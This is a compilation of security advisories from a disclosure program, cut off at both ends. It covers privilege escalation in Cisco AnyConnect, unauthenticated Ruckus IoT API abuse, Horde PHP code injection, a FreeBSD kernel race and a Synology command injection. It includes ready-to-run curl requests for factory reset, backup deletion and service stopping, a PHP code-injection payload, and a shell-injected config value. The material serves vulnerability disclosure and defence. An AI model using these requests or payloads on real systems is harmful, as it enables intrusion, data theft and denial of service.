  • Installation files are copied in a separate temporary folder under %ProgramData%\Cisco\Cisco AnyConnect Secure Mobility Client\Temp\Installer before they are executed.

In a nutshell, the auto-update mechanism works by send a message to the AnyConnect Agent to launch vpndownloader.exe and instruct it to perform a certain action (as command line argument). This action is either moving/copying a profile (XML) file to a profile folder or launch a Cisco signed installer file. Technically, this doesn’t need to be an installer file, any Cisco signed executable will do. When vpndownloader.exe is instructed to run an installer file, the file is first copied to a temporary folder under %ProgramData%\Cisco\Cisco AnyConnect Secure Mobility Client\Temp\Installer.

After the file has been copied, the digital signature is checked including the signer of the file. If all checks out, the file is launched from the temporary folder and the folder is deleted after execution has completed.
Because the executable is copied to a new temporary folder, and the folder has proper NTFS permissions, it is not possible to perform a file/DLL planting attack to run arbitrary code. In addition, the file must be signed by Cisco and the signature must be valid, preventing the execution of arbitrary executable.

A path traversal vulnerability exists in the step where the (user-supplied) executable is copied into the temporary folder. vpndownloader.exe will extract the target file name from the source file name. Essentially it does this by searching for the last occurrence of the backslash (\) character in the source path, the right part after the backslash is treated as the filename and is used as the target file name. AnyConnect does not take into account that the Windows API also accepts the forward slash (/) as directory separator character. Because of this it is possible to cause vpndownloader.exe to create files outside its temporary folder.

Since the signature verification is done after the file is copied, it is possible for an attacker to copy any file to any location residing on the same volume as %ProgramData% (generally C:\). Copying of the file is done with SYSTEM privileges – when vpndownloader.exe is launched through the AnyConnect Agent. If the target file exists and SYSTEM has write access to this file, it will be overwritten with the attacker-supplied file. This alone is enough for a local user to gain elevated privileges.

Another attack scenario is to hijack a DLL that is loaded by a Cisco signed executable. Most Cisco executable are affected by DLL hijacking, a common DLL that is used by Cisco applications is the dbghelp.dll file. The attack consists of two steps:

  1. Create an attacker-controlled dbghelp.dll file outside of the temporary folder to prevent removal, traversing one folder up is enough.
  2. Launch a Cisco signed executable which is vulnerable to DLL hijacking from the same folder, again using the path traversal vulnerability.

When the Cisco signed executable is launched through the AnyConnect Agent, it will also run with SYSTEM privileges. The code in the attacker-controlled DLL will also run with these privileges. The application itself is opened within Session 0. Windows 10 1803 has removed the Interactive Services Detection Service, which makes it impossible for users to interact with any GUI displayed in Session 0. This of course does nothing to stop an attacker from gaining SYSTEM privileges, but it does require an additional step for the attacker to launch a GUI application with elevated privileges.

Exploit
The POC is a PowerShell module which has the function Invoke-ExploitAnyConnectPathTraversal. This function has two modes.

Without arguments:
This mode tries to hijack %ProgramFiles%\Common Files\microsoft shared\ink\HID.dll, which is used by the on-screen keyboard. Run the following commands in a PowerShell prompt:

  1. Import-Module .-ExploitAnyConnectPathTraversal.psm1
  2. Invoke-ExploitAnyConnectPathTraversal
  3. Lock the Windows session or sign out
  4. Open accessibility tools in the login screen and launch the on-screen keyboard

A PowerShell prompt should open (behind the keyboard) running as SYSTEM. (Note that the on-screen keyboard of Windows 7 isn’t affected by this DLL hijack).

With arguments:
Running the function with arguments will create three files within %ProgramData%\Cisco\Cisco AnyConnect Secure Mobility Client\Temp\Installer:

  • payload.bat
  • dbghelp.dll
  • cstub.exe

cstub.exe is a Cisco signed executable, which will be launched by vpndownloader. dbghelp.dll is hijacked to run payload.bat. The provided argument(s) are written to payload.bat and thus will run as SYSTEM.

  1. Import-Module .-ExploitAnyConnectPathTraversal.psm1
  2. Invoke-ExploitAnyConnectPathTraversal

SSD Advisory – Ruckus IoT vRIoT Server Vulnerabilities

Vulnerability Summary
The Ruckus IoT Suite is a collection of network hardware and software infrastructure used to enable multi-standard Internet of Things devices access the network. The IoT Controller, part of the IoT Suite, is a virtual controller that performs connectivity, device and security management for non Wi-Fi devices.
Many functionalities are exposed by the IoT Controller which naturally require a form of authentication. Authentication is present in the Controller in the form of a login mechanism, but there are many functions which ignore the authentication of a user and allow unauthorized users to issue different commands, resulting in potential security breaches.

CVE
CVE-2020-8005

Credit
An independent Security Researcher has reported this vulnerability to SSD Secure Disclosure program.

Affected Systems
Ruckus IoT vRIoT Version 1.4

Vendor Response
Placeholder

Vulnerability Details
There are multiple unprotected functions in the Controller portal of the Ruckus IoT server. Many functions, such as changing the admin password, are protected by authentication and return a 401 Unauthorized when called without supplying an authentication header or cookie, proving one is an authorized user of the system. But there are many other functions which aren’t protected and a remote unauthenticated user can use them to gain privileged access and disable privileged processes or access sensitive data. Many exploitable bugs were found, which include:

  1. Remote pre-auth configuration manipulation
  2. Full access to backups including restoration, retrieval and deletion of backups.
  3. Downgrading and upgrading firmware versions
  4. Control of system services
  5. Remote factory reset of the server

There are 3 other unprotected functions which yield unclear security impact and were not investigated further, but are nevertheless included.

Reproduction
Remote Configuration Change
The service located at /service/init is responsible for configuration management. When sending it an HTTP PATCH request, the supplied JSON formatted configuration will be interpreted and saved. This allows the configuration of different important settings such as DNS servers.

curl -i -s -k -X 'PATCH'                                                                        \
-H 'Host: iot-server'                                                                           \
-H 'User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0' \
-H 'Accept: */*' -H 'Accept-Language: en-US,en;q=0.5'                                           \
-H 'Accept-Encoding: gzip, deflate'                                                             \
-H 'Referer: https://iot-server/refUI/'                                                         \
-H 'Content-Type: application/json'                                                             \
-H 'X-Requested-With: XMLHttpRequest'                                                           \
-H 'Content-Length: 267'                                                                        \
-H 'Connection: close'                                                                          \
--data-binary '{"configurations":{"hostname":"vriot1","dns":"8.8.8.8","timezone":"America/Los_Angeles","ipv4_mode_radio":"1","ip-address":"iot-server","dns2":"8.8.4.4","gateway":"10.10.10.1","subnet-mask":"255.255.255.0","systemtime":["1",null,"ntp.ubuntu.com"],"key":"","cert":""}}' \
'https://iot-server/service/init'

The device needs to reboot it’s services, which should all happen automatically as part of it’s routine, and only then the change will take effect.


Manipulation of Arbitrary Backups
The backup manipulation service, which is located at /service/v1/db, allows for three operations: loading, downloading and deletion of backup files.
Loading backups:
When sending an HTTP POST request to /service/v1/db/restore the server will restore the backups file requested in the request body. This name can be either known beforehand or bruteforced, as the filename follows a specific pattern.

curl -i -s -k -X 'POST'                                                                         \
-H 'Host: iot-server'                                                                           \
-H 'User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0' \
-H 'Accept: */*'                                                                                \
-H 'Accept-Language: en-US,en;q=0.5'                                                            \
-H 'Accept-Encoding: gzip, deflate'                                                             \
-H 'Referer: https://iot-server/refUI/'                                                         \
-H 'Content-Type: application/json'                                                             \
-H 'X-Requested-With: XMLHttpRequest'                                                           \
-H 'Content-Length: 54'                                                                         \
-H 'Connection: close'                                                                          \
--data-binary '{"fileName":"VRIOT_DB_2019-09-27-00-48-59_GMT.tar.gz"}'                          \
'https://iot-server/service/v1/db/restore'

Device will reboot to restore the arbitrarily chosen backup
Downloading backups:
Sending an HTTP GET to /service/v1/db/backup with filename as a parameter will yield you the requested backup file. This name can either be known beforehand or brute forced easily.

curl -i -s -k -X 'GET'                                                                          \
-H 'Host: iot-server'                                                                           \
-H 'User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0' \
-H 'Accept: */*'                                                                                \
-H 'Accept-Language: en-US,en;q=0.5'                                                            \
-H 'Accept-Encoding: gzip, deflate'                                                             \
-H 'Referer: https://iot-server/refUI/'                                                         \
-H 'X-Requested-With: XMLHttpRequest'                                                           \
-H 'Connection: close'                                                                          \
'https://iot-server/service/v1/db/backup?fileName=VRIOT_DB_2019-09-27-00-48-59_GMT.tar.gz'
HTTP/1.1 200 OK
...
{"message": {"ok": 1, "file_path": "/static/dbbackup/VRIOT_DB_2019-09-27-00-48-59_GMT.tar.gz"}}
wget https://iot-server/static/dbbackup/VRIOT_DB_2019-09-27-00-48-59_GMT.tar.gz

Deleting backups:
Sending an HTTP DELETE request to /service/v1/db/backup will enable the deletion of backup files. The filename of the backup is supplied through the parameter.

curl -i -s -k -X 'DELETE'                                                                       \
-H 'Host: iot-server'                                                                           \
-H 'User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0' \
-H 'Accept: */*'                                                                                \
-H 'Accept-Language: en-US,en;q=0.5'                                                            \
-H 'Accept-Encoding: gzip, deflate'                                                             \
-H 'Referer: https://iot-server/refUI/'                                                         \
-H 'Content-Type: application/json'                                                             \
-H 'X-Requested-With: XMLHttpRequest'                                                           \
-H 'Content-Length: 54'                                                                         \
-H 'Connection: close'                                                                          \
--data-binary '{"fileName":"VRIOT_DB_2019-09-27-03-53-40_GMT.tar.gz"}'                          \
'https://iot-server/service/v1/db/backup'

Firmware Version Manipulation
The service located in /service/upgrade/flow allows changing the firmware of the device. This allows downgrade attacks, where a potential attacker may change the firmware to a vulnerable one.

curl -i -s -k  -X 'POST'                                                                        \
-H 'Host: iot-server'                                                                           \
-H 'User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0' \
-H 'Accept: */*'                                                                                \
-H 'Accept-Language: en-US,en;q=0.5'                                                            \
-H 'Accept-Encoding: gzip, deflate'                                                             \
-H 'Referer: https://iot-server/refUI/'                                                         \
-H 'Content-Type: application/json'                                                             \
-H 'X-Requested-With: XMLHttpRequest'                                                           \
-H 'Content-Length: 24'                                                                         \
-H 'Connection: close'                                                                          \
--data-binary '{"version":"1.4.0.0.17"}'                                                        \
'https://iot-server/service/upgrade/flow'

The device will reboot if the supplied firmware version exists.


Service Manipulation
The service located at /module/ allows for three operations: stop, start and restart. The operation can be appended URL, and the name of the process is specified using the parameter. The name of the process can be retrieved through a terminal of a machine running the operating system, like a virtual machine.

curl -i -s -k  -X 'POST'                                                                        \
-H 'Host: iot-server'                                                                           \
-H 'User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0' \
-H 'Accept: */*'                                                                                \
-H 'Accept-Language: en-US,en;q=0.5'                                                            \
-H 'Accept-Encoding: gzip, deflate'                                                             \
-H 'Referer: https://iot-server/refUI/'                                                         \
-H 'Content-Type: application/json'                                                             \
-H 'X-Requested-With: XMLHttpRequest'                                                           \
-H 'Content-Length: 23'                                                                         \
-H 'Connection: close'                                                                          \
--data-binary '{"process":"core:mqtt"}'                                                         \
'https://iot-server/module/stop'

Remote Factory Reset
The service running at /reset enable issuing a factory reset of the machine. This deletes all configurations and information stored on the machine. This functionality enables an attacker to create a Denial of Service attack.

curl -i -s -k  -X 'POST'                                                                        \
-H 'Host: iot-server'                                                                           \
-H 'User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0' \
-H 'Accept: */*'                                                                                \
-H 'Accept-Language: en-US,en;q=0.5'                                                            \
-H 'Accept-Encoding: gzip, deflate'                                                             \
-H 'Referer: https://iot-server/refUI/'                                                         \
-H 'X-Requested-With: XMLHttpRequest'                                                           \
-H 'Connection: close'                                                                          \
-H 'Content-Length: 0'                                                                          \
'https://iot-server/reset'

Additional Bugs (unknown impacts)

  • Upload new images
    curl -i -s -k  -X 'POST'                                                                        \
    -H 'Host: iot-server'                                                                           \
    -H 'User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0' \
    -H 'Accept: */*'                                                                                \
    -H 'Accept-Language: en-US,en;q=0.5'                                                            \
    -H 'Accept-Encoding: gzip, deflate'                                                             \
    -H 'Referer: https://iot-server/refUI/'                                                         \
    -H 'X-Requested-With: XMLHttpRequest'                                                           \
    -H 'Content-Length: 178'                                                                        \
    -H 'Content-Type: multipart/form-data; boundary=---------------------------237911457221800'     \
    -H 'Connection: close'                                                                          \
    --data-binary "-----------------------------237911457221800\x0d\x0aContent-Disposition: form-data; name=\"file\"; filename=\"test.image\"\x0d\x0a\x0d\x0acontent here\x0d\x0a-----------------------------237911457221800--\x0d\x0a"    \
    'https://iot-server/upgrade/upload'
    
  • Upload patches
    curl -i -s -k  -X 'POST'                                                                        \
    -H 'Host: iot-server'                                                                           \
    -H 'User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0' \
    -H 'Accept: */*'                                                                                \
    -H 'Accept-Language: en-US,en;q=0.5'                                                            \
    -H 'Accept-Encoding: gzip, deflate'                                                             \
    -H 'Referer: https://iot-server/refUI/'                                                         \
    -H 'X-Requested-With: XMLHttpRequest'                                                           \
    -H 'Content-Length: 178'                                                                        \
    -H 'Content-Type: multipart/form-data; boundary=---------------------------237911457221800'     \
    -H 'Connection: close'                                                                          \
    --data-binary "-----------------------------237911457221800\x0d\x0aContent-Disposition: form-data; name="\file\"; filename=\"test.patch\"\x0d\x0a\x0d\x0acontent here\x0d\x0a-----------------------------237911457221800--\x0d\x0a"    \
    'https://iot-server/patch/upload'
    
  • Diagnostic Data (The generate diagnostic data button is protected and must already have been generated by an admin prior)
    curl -i -s -k  -X 'GET'                                                                         \
    -H 'Host: iot-server'                                                                           \
    -H 'User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0' \
    -H 'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8'                    \
    -H 'Accept-Language: en-US,en;q=0.5'                                                            \
    -H 'Accept-Encoding: gzip, deflate'                                                             \
    -H 'Referer: https://iot-server/refUI/'                                                         \
    -H 'Connection: close'                                                                          \
    -H 'Upgrade-Insecure-Requests: 1'                                                               \
    'https://iot-server/static/diagnostic/diagnostic_2019-09-26-20-43-42.tar.gz'
    

SSD Advisory – Horde Groupware Webmail Edition Remote Code Execution

Vulnerability Summary
The Horde project comprises of several standalone applications and libraries. The Horde Groupware Webmail Edition suite bundles several of them by default, among those, Data is a library used to manager data import/export in several formats, e.g., CSV, iCalendar, vCard, etc.
The function in charge of parsing the CSV format uses create_function in a way that enables injection of arbitrary PHP code, thus enabling Remote Code Execution on the server hosting the web application.

CVE
Placeholder

Credit
An independent Security Researcher, Andrea Cardaci, has reported this vulnerability to SSD Secure Disclosure program.

Affected Systems
Horde Groupware Webmail Edition Version 5.2.22

Vendor Response
Placeholder

Vulnerability Details
A vulnerable CVE parsing feature is used by several Horde applications:

  • Turba (address book; via /turba/data.php)
  • Mnemo (notes; via /mnemo/data.php)
  • Nag (tasks; via /nag/data.php)
  • Kronolith (calendar)

By using one of these, an authenticated user can execute arbitrary PHP and shell code as the user that runs the web server, usually www-data.
In the master branch of the Data repository, a commit replaced create_function with a lambda function (as suggested by PHP that deprecated create_function in version 7.2.0), yet apparently the authors failed to recognize the exploitable status of prior code so they did not release a new version. So, when installing Horde via PEAR or Debian APT, it yields the vulnerable version (2.1.4).
Since this vulnerability does not concern IMP (the Horde webmail application) specifically, it is likely that the vulnerability affects regular Horde Groupware installations as well.


In the file lib/Horde/Data/Csv.php the following snippet is used to parse a CSV line:

if ($row) {
    $row = (strlen($params['quote']) && strlen($params['escape']))
        ? array_map(create_function('$a', 'return str_replace(\'' . str_replace('\'', '\\\'', $params['escape'] . $params['quote']) . '\', \'' . str_replace('\'', '\\\'', $params['quote']) . '\', $a);'), $row)
        : array_map('trim', $row);
}

Among the other things, the user supplies $params['quote'], so for example if its value is quote then create_function is called as:

create_function('$a', "return str_replace('\\quote', 'quote', \$a);")

The insufficient sanitization of $params['quote'] escapes ’ as \’ but fails to escape the \ itself thus allowing to escape the last hard coded ’. By passing quote\, create_function is called as:

create_function('$a', "return str_replace('\\quote\\', 'quote\\', \$a)")

And evaluated body is:

return str_replace('\quote\', 'quote\', $a);

Which causes a syntax error. (Note how the first string argument of str_replace now terminates at the first ‘ of the second instance of quote)
Using a simple payload that executes the id shell command and returns the output in the response:

).passthru("id").die();}//\

Where the evaluated body eventually is:

return str_replace('\).passthru(id).die();}//\', ').passthru(id).die();}//\', $a);

Here is an explanation of its parts:

  1. ) terminates str_replace
  2. The concatenation operator (.) continues the expression since the code starts with a return
  3. passthru("id") is an example of the actual payload to be executed
  4. die() is needed because create_function is used inside array_map thus if it can be called multiple times and it also aborts the rest of the page
  5. } terminates the block function (...) {...} used by the implementation of create_function, otherwise the following // would comment out } causing a syntax error
  6. // comments out the remaining invalid PHP code
  7. \ escapes the hard coded string as shown above.

Since some characters are treated specially, it may be convenient to encode the command to be executed with Base64, the payload will then become:

).passthru(base64_decode("aWQ=")).die();}//\

Proof of Concept
Among all the affected applications, Mnemo is probably one of the easiest to exploit as it does not require additional parameters that need to be scraped from the pages.

Manual Exploit
This vulnerability can be easily exploited manually by any registered user:

  1. Log into Horde
  2. Navigate to http://target.com/mnemo/data.php
  3. Select any non-empty file to import then click “Next”
  4. In the input field labeled by “What is the quote character?” write the payload, e.g ).passthru("id").die();}//\ and click “Next”
  5. The output of the command should be returned:
uid=33(www-data) gid=33(www-data) groups=33(www-data)

Shell Exploit
You can also write simple script to automate the steps above. Example scripts are available on our GitHub repository: SSD Horde Groupware Webmail Advisory GitHub Repository

SSD Advisory – FreeBSD Use After Free due to Race Condition

Vulnerability Summary
In FreeBSD there is a cryptographic device module called cryptodev which is accessible by any user on the system. Due to an absence of a locking mechanism, an attacker is able to create a race condition in the device mechanism and trigger a Use After Free vulnerability. If performed correctly, an attacker is able to use this vulnerability to gain control of the kernel and gain access to the attacked machine.

Credit
An independent Security Researcher, Avi S., has reported this vulnerability to SSD Secure Disclosure program.

Affected Systems
FreeBSD 4.8

Vulnerability Details
Since FreeBSD 4.8, an in-tree cryptographic device module was included called cryptodev, found in the source tree under sys/opencrypto/cryptodev.c. This module creates a device /dev/crypto, which has permissions 666, making it globally accessible to any user.
Interaction with this driver occurs by calling the CRIOGET ioctl on the device. This allows users to create an instance of a cryptof device, which represents an instance of a device for a user, which is given back to the user as a file descriptor.
The resulting file descriptor can be used in subsequent calls, which are then handled by cryptof_ioctl. This ioctl handles session establishment between the hardware accelerators and the user, acting as a hardware abstraction layer (HAL) for the supported devices.

Bug
The bug itself has to do with the locking, or lack there of, in the ioctl handler for cryptof_ioctl, and similarly, cryptof_close. While locking exists in a few select portions of the code base, in general, most operations will occur unlocked.
This becomes an issue particularly around the session end, where operations are releasing memory. Racing a close() operation on a syscall with partically any other operation in the ioctl can give you the ability to trigger a use-after-free vulnerability.

Exploit
The proof-of-concept exploit targets a race between cryptof_close, and the ioctl CIOCFSESSION. If the race wins then cryptof_ioctl should call csedelete on a released struct csession, or, cryptof_close will attempt to TAILQ_REMOVE a released struct csession from its linked list. There is also a spraying thread, which sprays fake struct csessions using the syscall mac_set_fd, which will create a heap allocation and copyin user supplied data, then subsequently error out due to invalid data being supplied and release it.
With all 3 threads going at the same time (in practice more are used to guarantee success), this allows us to get an invalid TAILQ_REMOVE, which will be used to overwrite the null_cdevsw.d_ioctl. A few threads will be spawned which will try to trigger this ioctl indefinitely to gain control of the instruction pointer.
However, due to the fact that the TAILQ_REMOVE procedure will also attempt to write to the value which is used for the overwrite, this race usually fails and instead we get an error attempting to write to the address. This however is just used for demonstration of the bug, and in practice this demo value could be replaced with a more useful pointer that could be written to.
You can find the exploit on our Github repository:
SSD FreeBSD Advisory Github Repository

Additional Notes
This race can be used to attack other commands in the ioctl, and while we briefly explored the possibility of attacking those commands, the double release case seemed like the path of least friction.
There is an additional bug in cryptodev which will create a massive allocation: this is the fact that mackeylen in struct session_op is a signed integer, so if set to 0xFFFFFFFF it will create a massive allocation, which additionally gets sign extended up to 64 bits. This triggers a bug in the large allocation function in the kernel malloc function, where size = roundup(size, PAGE_SIZE); which occurs in the large memory allocator causes it to overflow the size of the allocation.
Unfortunately this is most likely unexploitable (atleast from this vector), and instead it just causes a kernel panic on a dereference to an address that can’t be allocated.
Also note, there is a provided fake_cryptodev.h, which can be used for linting on a non-FreeBSD platform. You can use a flag passed into the compiler in build.sh to switch between the real and fake cryptodev.h files.

SSD Advisory – Synology DSM Remote Command Injection

Introduction
Network-attached storage devices allow multiple users and heterogeneous client devices to retrieve data from centralized disk capacity. These NAS stations are a must for secured file sharing and thus becoming a popular target for hacking attempts. Read below on how a fellow researcher working with our team demonstrated getting access via Authenticated Remote Command into a Synology’s DiskStation Manager.
Remote Command Injection and others will be discussed at TyphoonCon, the best All Offensive Security Conference in Asia which will take place from June 15th to June 19th 2020, in Seoul, Korea. Reserve your spot for TyphoonCon and register to TyphoonPwn for your chance to win up to 500K USD in prizes in our hacking challenges.
Vulnerability Summary
The following advisory describes an Authenticated Remote Command Injection in Synology’s DiskStation Manager.
Credit
An independent Security Researcher has reported this vulnerability to SSD Secure Disclosure program.
Affected Systems
Synology DSM version 6.2.2 before update 24922
Vendor Response
Synology has fixed the vulnerability in DSM version 6.2.2-24922. For more information see Synology-SA-19:37 DSM.
Vulnerability Details
This vulnerability is similar to CVE-2017-12075, which was fixed in DSM 6.2-23739.
When setting PPPoE network in EZ-Internet, a username and password pair is required for authentication and is saved in /etc/ppp/pppoe.conf.
The following code snippet exists in Synology’s DSM 6.2-23739:

// PPPoEConfigSet() in /usr/lib/libsynonetsdk.so.6
__int64 __fastcall PPPoEConfigSet(...)
{
  // ...
  v46 = SLIBCFileSetKeyValue("/etc/ppp/pppoe.conf", "ETH", &a7, "%s=%s\n");
  v47 = "/etc/ppp/pppoe.conf";
  v48 = 257LL;
  if ( v46 < 0 )
    goto LABEL_17;
  v49 = "no";
  if ( a46 )
    v49 = "yes";
  v50 = SLIBCFileSetKeyValue("/etc/ppp/pppoe.conf", "DEFAULTROUTE", v49, "%s=%s\n");
  v47 = "/etc/ppp/pppoe.conf";
  v48 = 262LL;
  if ( v50 < 0 )
    goto LABEL_17;
  v51 = &a7;
  v73[0] = '\'';
  v52 = 1;
  while ( 1 )			// fix for CVE-2017-12075: wrap username with ''
  {
    v53 = *((_BYTE *)v51 + 16);
    v54 = v52 + 1;
    if ( !v53 )
      break;
    if ( v53 == '\'' )
    {
      if ( v52 > 505 )
        break;
      v73[v52] = '\'';
      v73[v54] = '"';
      v73[v52 + 2] = '\'';
      v55 = v52 + 3;
      v52 += 4;
      v73[v55] = '"';
      v73[v52] = '\'';
    }
    else
    {
      if ( v52 > 509 )
        break;
      v73[v52] = v53;
    }
    ++v52;
    v51 = (int *)((char *)v51 + 1);
  }
  v73[v52] = '\'';
  v73[v54] = 0;
  if ( SLIBCFileSetKeyValue("/etc/ppp/pppoe.conf", "USER", v73, "%s=%s\n") < 0 )
  {
   // ...
  }
  // !!! MTU parameter still suffers from the same issue
  if ( SLIBCFileSetKeyValue("/etc/ppp/pppoe.conf", "MTU", &a45, "%s=%s\n") < 0 )
  {
    // ...
  }
  //...
}

As we can see, the username is wrapped with single quotes to fix CVE-2017-12075. In addition, there are some other parameters which will be saved in /etc/ppp/pppoe.conf such as the MTU.
In the function syno::network::PPPoEInterface::SetData(), there exists a check against the parameters before the call to syno::network::PPPoEInterface::Apply(). These parameters are obtained directly from the HTTP request which is controlled by the user, including the username and mtu_config. It should be noted that the length of mtu_config is limited to less than 8 characters.

// syno::network::PPPoEInterface::Check() in /usr/lib/libwebapi-Network-Share.so
signed __int64 __fastcall syno::network::PPPoEInterface::Check(__int64 a1, Json::Value *a2)
{
  // ...
  v2 = a1;
  if ( (unsigned __int8)Json::Value::isMember(a2, "ifname") )
  {
    Json::Value::operator[](a2, "ifname");
    Json::Value::asString((Json::Value *)&v20);
    v3 = std::string::compare((std::string *)&v20, "pppoe");
    // ...
    if ( v3 )
    {
      v17 = (Json::Value *)Json::Value::operator[](a2, "ifname");
      v18 = Json::Value::asCString(v17);
      syslog(3, "%s:%d Incorrect ifname [%s]", "pppoe_interface.cpp", 412LL, v18);
      result = 0xFFFFFFFFLL;
    }
    else
    {
      if ( (unsigned __int8)Json::Value::isMember(a2, "real_ifname") )
      {
        v12 = (Json::Value *)Json::Value::operator[](a2, "real_ifname");
        v13 = Json::Value::asCString(v12);
        snprintf((char *)(v2 + 396), 0x10uLL, "%s", v13);
      }
      else
      {
        snprintf((char *)(v2 + 396), 0x10uLL, "%s", v2 + 64);
      }
      if ( (unsigned __int8)Json::Value::isMember(a2, "username") )
      {
        v5 = (Json::Value *)Json::Value::operator[](a2, "username");
        v6 = Json::Value::asCString(v5);
        snprintf((char *)(v2 + 412), 0x100uLL, "%s", v6);
      }
      else
      {
        snprintf((char *)(v2 + 412), 0x100uLL, "%s", v2 + 80);
      }
      if ( (unsigned __int8)Json::Value::isMember(a2, "password") )
      {
        v7 = (Json::Value *)Json::Value::operator[](a2, "password");
        v8 = Json::Value::asCString(v7);
        snprintf((char *)(v2 + 668), 0x20uLL, "%s", v8);
      }
      else
      {
        snprintf((char *)(v2 + 668), 0x20uLL, "%s", v2 + 336);
      }
      if ( (unsigned __int8)Json::Value::isMember(a2, "mtu_config") )
      {
        v9 = (Json::Value *)Json::Value::operator[](a2, "mtu_config");
        v10 = Json::Value::asCString(v9);
        snprintf((char *)(v2 + 700), 8uLL, "%s", v10);  // !!! length is limited
      }
      else
      {
        snprintf((char *)(v2 + 700), 8uLL, "%s", v2 + 368);
      }
      if ( (unsigned __int8)Json::Value::isMember(a2, "is_default_gateway") )
      {
        v14 = (Json::Value *)Json::Value::operator[](a2, "is_default_gateway");
        *(_DWORD *)(v2 + 708) = (unsigned __int8)Json::Value::asBool(v14);
        result = 0LL;
      }
      else
      {
        *(_DWORD *)(v2 + 708) = *(_DWORD *)(v2 + 376);
        result = 0LL;
      }
    }
  }
  else
  {
    syslog(3, aSDNo, "pppoe_interface.cpp", 407LL);
    result = 0xFFFFFFFFLL;
  }
  return result;
}

Then in the shell script /usr/sbin/pppoe-start the file /etc/ppp/pppoe.conf will be executed in the shell environment.

# content from /etc/ppp/pppoe.conf
# Ethernet card connected to DSL modem
ETH=eth0
# PPPoE user name.
USER='test'
# ...
MTU=`id>aa`    # corresponding to the poc.py
# content from the /usr/sbin/pppoe-start script
CONFIG=/etc/ppp/pppoe.conf
USER=""
ETH=""
ME=`basename $0`
# ...
export CONFIG
. $CONFIG	# execute here

As we can see, the injected command through the MTU parameter will be executed thus causing the vulnerability, but it is still limited by the length of the parameter.
Note: To exploit this vulnerability the user has to be authenticated and in order to access the EZ-Internet functionality he has to be in the administration group

SSD Advisory – Intel Windows Graphics Driver Buffer Overflow to Privilege Escalation

Introduction
Since 2014, Intel is dominating the PC market as the leading graphics chip vendor worldwide with ~70% market share. With this overwhelming amount of units, any vulnerabilities found are bound to make an impact. Read below on how our team gained system access using an Intel’s graphics driver privilege escalation vulnerability.

System access vulnerabilities and others will be discussed at TyphoonCon, the best All Offensive Security Conference in Asia which will take place from June 15th to June 19th 2020, in Seoul, Korea. Reserve your spot for TyphoonCon and register to TyphoonPwn for your chance to win up to 500K USD in prizes in our hacking challenges.
Vulnerability Summary
The igdkmd64 module in the Intel Graphics Driver DCH on Windows allows local users to gain Escalation of Privileges or cause Denial of Service (crash) via a crafted D3DKMTEscape request.
CVE
CVE-2019-11112
Credit
SSD Secure Disclosure / Ori Nimron
Affected Systems
Tested on Intel Graphics Driver DCH 25.20.100.6323 and on 25.20.100.6577 (latest at the time of writing this report), on Windows 10 Version 1809.
Vendor Response
Intel fixed the issue in versions 26.20.100.6813 and 26.20.100.6812 of the Intel(R) Graphics Driver. For more information see 2019.2 IPU.
(more…)

SSD Advisory – Intel Windows Graphics Driver Out of Bounds Read Denial of Service

Introduction
Since 2014, Intel is dominating the PC market as the leading graphics chip vendor worldwide with ~70% market share. With this overwhelming amount of units, any vulnerabilities found are bound to make an impact. Read below on how our team gained system access using an Intel’s graphics driver privilege escalation vulnerability.
System access vulnerabilities and others will be discussed at TyphoonCon, the best All Offensive Security Conference in Asia which will take place from June 15th to June 19th 2020, in Seoul, Korea. Reserve your spot for TyphoonCon and register to TyphoonPwn for your chance to win up to 500K USD in prizes in our hacking challenges.
Vulnerabilities Summary
The igdkmd64 module in the Intel Graphics Driver DCH on Windows allows unprivileged users to cause Denial of Service (crash) via a crafted D3DKMTEscape request.
CVE
CVE-2019-14591
Credit
SSD Secure Disclosure / Ori Nimron
Affected Systems
Tested on Intel Graphics Driver DCH:
25.20.100.6323.
25.20.100.6577.
25.20.100.6618 (latest at the time of writing this report).
Testing environment:
OS Name Microsoft Windows 10 Pro.
Version 10.0.17134 Build 17134.
OS Manufacturer Microsoft Corporation.
System Model System Product Name.
System Type x64-based PC.
Processor Intel(R) Core(TM) i7-6700 CPU @ 3.40GHz, 3401 Mhz, 4 Core(s), 8 Logical Processor(s).
Vendor Response
Intel fixed the issue in version 26.20.100.7209 of the Intel(R) Graphics Driver. For more information see 2019.2 IPU.
Vulnerability Details
The driver’s callback function DxgkDdiEscape contains an Out-Of-Bound Read that can be triggered by unprivileged users who can trigger the vulnerability by crafting a malicious request to the D3DKMTEscape function.
In DxgkDdiEscape, there is a global variable (which I named as “escape_jmp_table”) which is an array of pointers to functions. The function will choose which function to call based on the value of the third parameter of the privateDriverData value that is controlled by the local user.
The structure of privateDriverData looks something like this:

typedef struct {
	UINT unknown1;
	UINT unknown2;
	UINT escape_jmp_table_index;
	UINT switchcase_index;
	char buffer[100];
} privateDriverData;

The DxgkDdiEscape will call to sub_14004FCE0 (which I will name it as ESCAPE_CONTINUE_TO_TABLE). The ESCAPE_CONTINUE_TO_TABLE will load the “escape_jmp_table” and will call the function to which escape_jmp_table[pPrivateDriverData.escape_jmp_table_index] points to.

The vulnerability discovered lies in the function being called by the pointer found by the value of the second index of the escape_jmp_table. This function (sub_140085E70) does a switch case on the fourth parameter of the privateDriverData and decides to which function to call by the value given.
This image shows the various switch case handling this function (sub_140085E70) supports:

In case that the value of the fourth parameter in the structure is 205, the function the sub_140092E80 will be called:

This function allocates a buffer on the stack and calls sub_1400AD9F0 with this buffer, I will name this buffer as local_buf:

